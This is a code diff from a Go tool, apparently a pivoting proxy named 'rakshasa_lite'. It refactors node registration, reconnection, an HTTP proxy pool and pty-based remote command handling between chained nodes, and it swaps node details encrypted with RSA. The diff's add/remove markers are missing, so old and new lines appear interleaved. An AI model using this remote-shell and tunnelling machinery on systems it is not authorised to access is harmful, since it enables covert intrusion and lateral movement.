|
||||
buf.WriteString("GET ")
|
||||
buf.WriteString(req.uri)
|
||||
buf.WriteString(" HTTP/1.1\r\n")
|
||||
for _, header := range req.header {
|
||||
buf.WriteString(header)
|
||||
buf.WriteString("\r\n")
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
s.write2connect(buf.Bytes())
|
||||
buf.Reset()
|
||||
bufPool.Put(buf)
|
||||
} else {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
s.write2connect(buf.Bytes())
|
||||
buf.Reset()
|
||||
bufPool.Put(buf)
|
||||
|
||||
} else {
|
||||
return
|
||||
@@ -288,7 +295,9 @@ func handleHttpProxyLocal(s *httpProxyClient) {
|
||||
if i := strings.IndexByte(req.uri, ':'); i > -1 {
|
||||
s.remoteAddr = req.uri[:i]
|
||||
s.remotePort = req.uri[i+1:]
|
||||
s.connect()
|
||||
if !s.connect() {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
@@ -329,9 +338,8 @@ func (s *httpProxyClient) write2connect(data []byte) {
|
||||
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
|
||||
}
|
||||
func (s *httpProxyClient) connect() {
|
||||
if !s.isConnect {
|
||||
|
||||
func (s *httpProxyClient) connect() bool {
|
||||
if !s.checkConnect() {
|
||||
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(common.RAW_TCP)
|
||||
@@ -354,11 +362,22 @@ func (s *httpProxyClient) connect() {
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
s.isConnect = true
|
||||
s.status = CONN_STATUS_CONNECT
|
||||
return true
|
||||
}
|
||||
|
||||
return s.server.isClose == 0
|
||||
}
|
||||
|
||||
// 检查一下server是否断开,尝试重连,返回是否连接
|
||||
func (s *httpProxyClient) checkConnect() bool {
|
||||
if s.server.isClose == 1 {
|
||||
//尝试重连
|
||||
if newNode, _ := GetNodeFromAddrs(s.server.reConnectAddrs); newNode != nil {
|
||||
s.server = newNode
|
||||
}
|
||||
}
|
||||
return s.status == CONN_STATUS_CONNECT
|
||||
}
|
||||
func (s *httpProxyClient) Remoteclose() {
|
||||
|
||||
s.close = "本地要求远程关闭"
|
||||
@@ -505,3 +524,54 @@ func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err err
|
||||
|
||||
return 0, nil, nil
|
||||
}
|
||||
|
||||
type httpPool struct {
|
||||
r *bufio.Reader
|
||||
f *os.File
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func httpPoolInit(file string) (*httpPool, error) {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
|
||||
}
|
||||
p := &httpPool{
|
||||
r: bufio.NewReader(f),
|
||||
f: f,
|
||||
Mutex: sync.Mutex{},
|
||||
}
|
||||
if _, err = p.do_next(0); err != nil {
|
||||
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
func (p *httpPool) Next() *common.Addr {
|
||||
addr, _ := p.do_next(0)
|
||||
return addr
|
||||
}
|
||||
func (p *httpPool) do_next(n int) (*common.Addr, error) {
|
||||
if n > 100 {
|
||||
return nil, errors.New("重试错误次数过多")
|
||||
}
|
||||
p.Lock()
|
||||
line, err := p.r.ReadString(10)
|
||||
if err == io.EOF {
|
||||
p.f.Seek(0, 0)
|
||||
p.r.Reset(p.f)
|
||||
p.Unlock()
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
p.Unlock()
|
||||
line = strings.TrimRight(line, "\n")
|
||||
line = strings.TrimRight(line, "\r")
|
||||
|
||||
if len(line) == 0 {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
addr, err := common.ParseAddr(line)
|
||||
if err != nil {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
return addr, nil
|
||||
}
|
||||
|
||||
+238
-253
@@ -7,33 +7,64 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/creack/pty"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"rakshasa_lite/common"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
uuid2 "github.com/google/uuid"
|
||||
)
|
||||
var (
|
||||
shellMapLock sync.Mutex
|
||||
)
|
||||
|
||||
type StartCmdParam struct {
|
||||
Param string
|
||||
Size *pty.Winsize
|
||||
}
|
||||
type remoteCmd struct {
|
||||
cmdStatus int32
|
||||
cmd *exec.Cmd
|
||||
id uint32
|
||||
stdin io.WriteCloser
|
||||
inChan chan []byte
|
||||
translate func(in []byte) ([]byte, error)
|
||||
ping, pong int64
|
||||
}
|
||||
|
||||
|
||||
var (
|
||||
currentNode = &node{uuid: uuid2.New().String()}
|
||||
clientLock = &lock{}
|
||||
nodeMap = make(map[string]*node)
|
||||
currentNode = &node{}
|
||||
clientLock1 = &lock{}
|
||||
nodeMap sync.Map
|
||||
upLevelNode []*node //上游节点
|
||||
upNodeWrite = make(chan []byte, 999)
|
||||
extNodeIp []string
|
||||
connMap sync.Map
|
||||
)
|
||||
|
||||
type RegMsg struct {
|
||||
UUID string //当前机器uuid
|
||||
RegAddr string //远程连接的addr
|
||||
Hostname string //当前机器名称
|
||||
Goos string
|
||||
ViaUUID string
|
||||
Err string
|
||||
MainIp string
|
||||
Port string
|
||||
node *node
|
||||
}
|
||||
|
||||
func InitCurrentNode() {
|
||||
s := unsafe.Sizeof(uintptr(1))
|
||||
bit := " x32"
|
||||
@@ -54,14 +85,14 @@ func InitCurrentNode() {
|
||||
addr: currentNode.addr,
|
||||
}
|
||||
currentNode.mirrorNode.mirrorNode = currentNode
|
||||
nodeMap[currentNode.uuid] = currentNode
|
||||
nodeMap.Store(currentNode.uuid, currentNode)
|
||||
//fmt.Println("当前节点UUID", currentNode.uuid)
|
||||
go func() {
|
||||
for b := range upNodeWrite {
|
||||
for {
|
||||
ok := func() bool {
|
||||
|
||||
l := clientLock.Lock()
|
||||
l := clientLock1.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
if len(upLevelNode) == 0 {
|
||||
@@ -81,46 +112,69 @@ func InitCurrentNode() {
|
||||
nodeTickPing()
|
||||
time.AfterFunc(time.Second*10, checkUpLevelNode)
|
||||
}
|
||||
func getNode(arg string) (n *node, err error) {
|
||||
id, err := strconv.Atoi(arg)
|
||||
if err == nil {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
_n := value.(*node)
|
||||
if _n.id == id {
|
||||
n = _n
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
node := value.(*node)
|
||||
if fmt.Sprintf("%s:%d", node.mainIp, node.port) == arg {
|
||||
n = node
|
||||
return false
|
||||
} else if fmt.Sprintf("%s:%d", node.addr, node.port) == arg {
|
||||
n = node
|
||||
return false
|
||||
} else if node.uuid == arg {
|
||||
n = node
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
if n != nil {
|
||||
return n, nil
|
||||
} else {
|
||||
return connectNew(arg)
|
||||
}
|
||||
|
||||
}
|
||||
func checkUpLevelNode() {
|
||||
|
||||
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
|
||||
|
||||
//尝试重新连接节点
|
||||
for _, addr := range currentConfig.DstNode {
|
||||
connectNew(addr)
|
||||
getNode(addr)
|
||||
}
|
||||
if len(upLevelNode) == 0 {
|
||||
//尝试连接其他节点
|
||||
if !currentConfig.Limit {
|
||||
for _, addr := range extNodeIp {
|
||||
connectNew(addr)
|
||||
getNode(addr)
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
func() {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
|
||||
if len(n.mainIp) == 0 {
|
||||
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
}()
|
||||
if len(upLevelNode) > 0 {
|
||||
return
|
||||
}
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
n := value.(*node)
|
||||
if n.uuid != currentNode.uuid {
|
||||
if len(n.mainIp) == 0 {
|
||||
getNode(fmt.Sprintf("%s:%d", n.addr, n.port))
|
||||
}
|
||||
if len(upLevelNode) > 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return true
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -128,12 +182,9 @@ func checkUpLevelNode() {
|
||||
time.AfterFunc(time.Second*5, checkUpLevelNode)
|
||||
}
|
||||
func nodeTickPing() {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
now := time.Now().Unix()
|
||||
for _, n := range nodeMap {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
n := value.(*node)
|
||||
if n.uuid != currentNode.uuid {
|
||||
if n.mainIp != "" {
|
||||
addr1 := fmt.Sprintf("%s:%d", n.mainIp, n.port)
|
||||
@@ -157,8 +208,8 @@ func nodeTickPing() {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
return true
|
||||
})
|
||||
time.AfterFunc(time.Second*1, nodeTickPing)
|
||||
}
|
||||
|
||||
@@ -195,16 +246,19 @@ type nodeInfo struct {
|
||||
}
|
||||
|
||||
func connectNew(addr string) (n *node, e error) {
|
||||
//先从已连接查找
|
||||
for _, node := range nodeMap {
|
||||
if fmt.Sprintf("%s:%d", node.mainIp, node.port) == addr {
|
||||
return node, nil
|
||||
} else if fmt.Sprintf("%s:%d", node.addr, node.port) == addr {
|
||||
return node, nil
|
||||
} else if node.uuid == addr {
|
||||
return node, nil
|
||||
defer func() {
|
||||
if n != nil {
|
||||
find := false
|
||||
for _, upN := range upLevelNode {
|
||||
if upN.uuid == n.uuid {
|
||||
find = true
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
upLevelNode = append(upLevelNode, n)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
config := cert.Tlsconfig.Clone()
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
@@ -223,7 +277,7 @@ func connectNew(addr string) (n *node, e error) {
|
||||
localstr := localAddr.String()
|
||||
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
|
||||
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
|
||||
if laddr!=nil{
|
||||
if laddr != nil {
|
||||
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||
conn := tls.Client(netconn, config)
|
||||
select {
|
||||
@@ -246,34 +300,48 @@ func connectNew(addr string) (n *node, e error) {
|
||||
}
|
||||
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
|
||||
connMap.Store(c.remoteAddr, conn)
|
||||
c.regResult = make(chan error, 1)
|
||||
c.regResultNode = make(chan *node, 1)
|
||||
c.regResult = make(chan RegMsg, 1)
|
||||
c.handle()
|
||||
c.reg()
|
||||
|
||||
defer func() {
|
||||
if c.node != nil {
|
||||
l := clientLock.Lock()
|
||||
find := false
|
||||
for _, n := range upLevelNode {
|
||||
if n.uuid == c.node.uuid {
|
||||
find = true
|
||||
}
|
||||
}
|
||||
if !find {
|
||||
upLevelNode = append(upLevelNode, c.node)
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
}
|
||||
}()
|
||||
select {
|
||||
case err = <-c.regResult:
|
||||
return nil, err
|
||||
case n = <-c.regResultNode:
|
||||
//连接成功
|
||||
case regmsg := <-c.regResult:
|
||||
if regmsg.Err != "" {
|
||||
return nil, errors.New(regmsg.Err)
|
||||
}
|
||||
n = regmsg.node
|
||||
n.uuid = regmsg.UUID
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); n.port==0 {
|
||||
n.port = -1
|
||||
}
|
||||
|
||||
if v, ok := nodeMap.Load(regmsg.UUID); ok {
|
||||
if v.(*node).conn.node != nil && v.(*node).conn.node.uuid == regmsg.UUID && v.(*node).conn.closeTag == 0 {
|
||||
n.uuid = "" //清空uuid避免正常的node被删
|
||||
n.conn.Close("重复注册") //当前的连接关掉
|
||||
v.(*node).mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if v.(*node).port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); v.(*node).port==0 {
|
||||
v.(*node).port = -1
|
||||
}
|
||||
n = v.(*node)
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
nodeMap.Store(n.uuid, n)
|
||||
n.reConnectAddrs = []string{addr}
|
||||
return n, err
|
||||
n.Write(common.CMD_GET_NODE, 0, nil)
|
||||
return n, nil
|
||||
case <-time.After(time.Second * 10):
|
||||
return nil, errors.New("time out")
|
||||
}
|
||||
@@ -312,7 +380,6 @@ func (n *node) WriteMsg(msg *common.Msg) {
|
||||
func (n *node) do(msg *common.Msg) {
|
||||
|
||||
var err error
|
||||
//fmt.Println(common.CmdToName[msg.CmdOpteion])
|
||||
switch msg.CmdOpteion {
|
||||
case common.CMD_CONNECT_BYIDADDR:
|
||||
msg.CmdData = cert.RSADecrypterByPubByte(msg.CmdData)
|
||||
@@ -408,126 +475,68 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
|
||||
case common.CMD_REG:
|
||||
func() {
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
var regmsg common.RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
uuid := regmsg.UUID
|
||||
if uuid == currentNode.uuid {
|
||||
regmsg.Err = "不能连接自己"
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
resultMsg := regmsg
|
||||
resultMsg.UUID = currentNode.uuid
|
||||
resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName)
|
||||
resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp)
|
||||
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
|
||||
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
|
||||
|
||||
b, _ := json.Marshal(resultMsg)
|
||||
//返回成功结果
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
//储存节点
|
||||
n.uuid = uuid
|
||||
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
|
||||
n.conn.node = n
|
||||
nodeMap[regmsg.UUID] = n
|
||||
|
||||
}
|
||||
currentNode.broadcastNode()
|
||||
//把本机所有节点同步到注册机器
|
||||
go n.writeGetNodeResult(msg.CmdId)
|
||||
}()
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
|
||||
if err != nil {
|
||||
select {
|
||||
case n.conn.regResult <- err:
|
||||
default:
|
||||
}
|
||||
regmsg.Err = err.Error()
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
uuid := regmsg.UUID
|
||||
if uuid == currentNode.uuid {
|
||||
regmsg.Err = "请求的UUID相同,无法连接自己,请将节点设置为不同的UUID"
|
||||
b, _ := json.Marshal(regmsg)
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
return
|
||||
}
|
||||
|
||||
if regmsg.Err != "" {
|
||||
select {
|
||||
case n.conn.regResult <- errors.New(regmsg.Err):
|
||||
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||
l := clientLock.Lock()
|
||||
|
||||
n.uuid = regmsg.UUID
|
||||
n.hostName = cert.RSADecrypterStr(regmsg.Hostname)
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
n.goos = cert.RSADecrypterStr(regmsg.Goos)
|
||||
n.addr = n.conn.nodeConn.RemoteAddr().String()
|
||||
if i := strings.Index(n.addr, ":"); i > -1 {
|
||||
n.addr = n.addr[:i]
|
||||
}
|
||||
workconn := n.conn
|
||||
n.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
if v, ok := nodeMap[regmsg.UUID]; ok {
|
||||
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
|
||||
n.uuid = "" //清空uuid避免正常的node被删
|
||||
n.conn.Close("重复注册") //当前的连接关掉
|
||||
n.conn = v.conn
|
||||
v.mainIp = cert.RSADecrypterStr(regmsg.MainIp)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(regmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
n = v
|
||||
} else {
|
||||
n.conn.node = n
|
||||
}
|
||||
resultMsg := regmsg
|
||||
resultMsg.UUID = currentNode.uuid
|
||||
resultMsg.Hostname = cert.RSAEncrypterStr(currentNode.hostName)
|
||||
resultMsg.MainIp = cert.RSAEncrypterStr(currentNode.mainIp)
|
||||
resultMsg.Port = cert.RSAEncrypterStr(strconv.Itoa(currentNode.port))
|
||||
resultMsg.Goos = cert.RSAEncrypterStr(currentNode.goos)
|
||||
|
||||
} else {
|
||||
b, _ := json.Marshal(resultMsg)
|
||||
//返回成功结果
|
||||
n.Write(common.CMD_REG_RESULT, 0, b)
|
||||
//储存节点
|
||||
n.uuid = uuid
|
||||
if v, ok := nodeMap.Load(uuid); !ok || v.(*node).conn.closeTag > 0 {
|
||||
n.conn.node = n
|
||||
nodeMap.Store(regmsg.UUID, n)
|
||||
}
|
||||
currentNode.broadcastNode()
|
||||
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
|
||||
nodeMap[n.uuid] = n
|
||||
l.Unlock()
|
||||
|
||||
if err != nil {
|
||||
regmsg.Err = err.Error()
|
||||
}
|
||||
regmsg.node = n
|
||||
select {
|
||||
case workconn.regResultNode <- n:
|
||||
|
||||
case n.conn.regResult <- regmsg:
|
||||
default:
|
||||
}
|
||||
|
||||
//交换节点
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_REMOTE_REG:
|
||||
|
||||
var regmsg common.RegMsg
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
if currentConfig.Limit {
|
||||
regmsg.Err = "node is in limit mode"
|
||||
@@ -538,7 +547,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
if err == nil {
|
||||
var newNode *node
|
||||
|
||||
newNode, err = connectNew(regmsg.RegAddr)
|
||||
newNode, err = getNode(regmsg.RegAddr)
|
||||
if err == nil {
|
||||
|
||||
regmsg.UUID = newNode.uuid
|
||||
@@ -558,7 +567,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
case common.CMD_REMOTE_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
var regmsg RegMsg
|
||||
err = json.Unmarshal(msg.CmdData, ®msg)
|
||||
v, ok := n.loadQuery(msg.CmdId)
|
||||
if !ok {
|
||||
@@ -572,10 +581,9 @@ func (n *node) do(msg *common.Msg) {
|
||||
v <- errors.New(regmsg.Err)
|
||||
return
|
||||
}
|
||||
l := clientLock.Lock()
|
||||
if n.uuid != regmsg.UUID {
|
||||
var targetNode *node
|
||||
if targetNode, ok = nodeMap[regmsg.UUID]; !ok {
|
||||
if _v, ok := nodeMap.Load(regmsg.UUID); !ok {
|
||||
targetNode = getNewNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
@@ -584,8 +592,9 @@ func (n *node) do(msg *common.Msg) {
|
||||
Goos: cert.RSADecrypterStr(regmsg.Goos),
|
||||
}, n)
|
||||
|
||||
nodeMap[regmsg.UUID] = targetNode
|
||||
nodeMap.Store(regmsg.UUID, targetNode)
|
||||
} else {
|
||||
targetNode = _v.(*node)
|
||||
targetNode.updateNode(nodeInfo{
|
||||
UUID: regmsg.UUID,
|
||||
HostName: cert.RSADecrypterStr(regmsg.Hostname),
|
||||
@@ -598,8 +607,6 @@ func (n *node) do(msg *common.Msg) {
|
||||
} else {
|
||||
v <- n
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_PING:
|
||||
@@ -792,9 +799,6 @@ func (n *node) do(msg *common.Msg) {
|
||||
case common.CMD_GET_NODE:
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
case common.CMD_GET_NODE_RESULT:
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
var s []nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &s)
|
||||
if err == nil {
|
||||
@@ -807,12 +811,12 @@ func (n *node) do(msg *common.Msg) {
|
||||
Goos: cert.RSADecrypterStr(_n.Goos),
|
||||
}
|
||||
if _n.UUID != currentNode.uuid {
|
||||
if v, ok := nodeMap[_n.UUID]; !ok {
|
||||
nodeMap[_n.UUID] = getNewNode(_n, n)
|
||||
if v, ok := nodeMap.Load(_n.UUID); !ok {
|
||||
nodeMap.Store(_n.UUID, getNewNode(_n, n))
|
||||
} else {
|
||||
v.hostName = _n.HostName
|
||||
v.mainIp = _n.MainIp
|
||||
v.port, _ = strconv.Atoi(_n.Port)
|
||||
v.(*node).hostName = _n.HostName
|
||||
v.(*node).mainIp = _n.MainIp
|
||||
v.(*node).port, _ = strconv.Atoi(_n.Port)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -840,31 +844,27 @@ func (n *node) do(msg *common.Msg) {
|
||||
case common.CMD_ADD_NODE:
|
||||
var nmsg nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
if v, ok := nodeMap[nmsg.UUID]; !ok {
|
||||
if v, ok := nodeMap.Load(nmsg.UUID); !ok {
|
||||
newNode := getNewNode(nmsg, n)
|
||||
nodeMap[nmsg.UUID] = newNode
|
||||
|
||||
nodeMap.Store(nmsg.UUID, newNode)
|
||||
} else if nmsg.UUID != currentNode.uuid {
|
||||
n := v.(*node)
|
||||
port, err := strconv.Atoi(cert.RSADecrypterStr(nmsg.Port))
|
||||
if err == nil {
|
||||
v.port = port
|
||||
n.port = port
|
||||
} else {
|
||||
v.port = -1
|
||||
n.port = -1
|
||||
}
|
||||
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
v.uuid = nmsg.UUID
|
||||
|
||||
nodeMap[nmsg.UUID] = v
|
||||
|
||||
n.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
n.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
n.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
n.uuid = nmsg.UUID
|
||||
nodeMap.Store(nmsg.UUID, n)
|
||||
}
|
||||
case common.CMD_DIR:
|
||||
|
||||
@@ -1177,7 +1177,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
}
|
||||
func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||
regmsg := common.RegMsg{
|
||||
regmsg := RegMsg{
|
||||
RegAddr: addr,
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
@@ -1207,7 +1207,7 @@ func (n *node) remoteReg(addr string) (newN *node, err error) {
|
||||
return nil, errors.New("error result")
|
||||
}
|
||||
func (n *node) Close(reason string) {
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
if n.conn != nil && n.conn.node != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.Close(reason)
|
||||
}
|
||||
n.Delete(reason)
|
||||
@@ -1229,47 +1229,31 @@ func getNewNode(m nodeInfo, n *node) *node {
|
||||
func allNodesDo(f func(*node) (bool, error)) (err error) {
|
||||
var ok bool
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, n := range nodeMap {
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
n := value.(*node)
|
||||
if n.uuid != currentNode.uuid {
|
||||
func() {
|
||||
|
||||
l.RUnlock()
|
||||
defer clientLock.RLock(l)
|
||||
ok, err = f(n)
|
||||
}()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !ok {
|
||||
break
|
||||
ok, err = f(n)
|
||||
if err != nil || !ok {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return true
|
||||
})
|
||||
return err
|
||||
}
|
||||
func (n *node) ping(id uint32) {
|
||||
|
||||
l := clientLock.Lock()
|
||||
|
||||
defer func() {
|
||||
l.Unlock()
|
||||
}()
|
||||
l := clientLock1.Lock()
|
||||
defer l.Unlock()
|
||||
now := time.Now()
|
||||
if n.pingTime > n.pongTime {
|
||||
|
||||
if n.conn != nil && n.conn.node.uuid == n.uuid {
|
||||
n.conn.Close("超时关闭")
|
||||
}
|
||||
n.Delete("超时关闭")
|
||||
n.Close("超时关闭")
|
||||
//尝试重连
|
||||
|
||||
go func() {
|
||||
if !currentConfig.Limit && len(n.mainIp) > 0 {
|
||||
for _, addr := range n.mainIp {
|
||||
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
|
||||
_n, _ := getNode(fmt.Sprintf("%s:%d", addr, n.port))
|
||||
if _n != nil {
|
||||
return
|
||||
}
|
||||
@@ -1319,12 +1303,7 @@ func (n *node) ping(id uint32) {
|
||||
func (n *node) Delete(reason string) {
|
||||
go func() {
|
||||
if atomic.CompareAndSwapInt32(&n.isClose, 0, 1) {
|
||||
l := clientLock.Lock()
|
||||
_, ok := nodeMap[n.uuid]
|
||||
if ok {
|
||||
delete(nodeMap, n.uuid)
|
||||
}
|
||||
l.Unlock()
|
||||
|
||||
n.connMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(common.Conn); ok {
|
||||
v.Close(reason)
|
||||
@@ -1355,6 +1334,7 @@ func (n *node) Delete(reason string) {
|
||||
n.shellMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
nodeMap.Delete(n.uuid)
|
||||
}
|
||||
|
||||
}()
|
||||
@@ -1450,27 +1430,32 @@ func (n *node) storeConn(v common.Conn) (newID uint32) {
|
||||
}
|
||||
|
||||
func (n *node) writeGetNodeResult(id uint32) {
|
||||
l := clientLock.RLock()
|
||||
go func() {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
debug.PrintStack()
|
||||
}
|
||||
}()
|
||||
var s []*nodeInfo
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
_n := value.(*node)
|
||||
if _n.uuid != currentNode.uuid {
|
||||
s = append(s, &nodeInfo{
|
||||
UUID: _n.uuid,
|
||||
HostName: cert.RSAEncrypterStr(_n.hostName),
|
||||
MainIp: cert.RSAEncrypterStr(_n.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(_n.port)),
|
||||
Goos: cert.RSAEncrypterStr(_n.goos),
|
||||
})
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
defer l.RUnlock()
|
||||
b, _ := json.Marshal(s)
|
||||
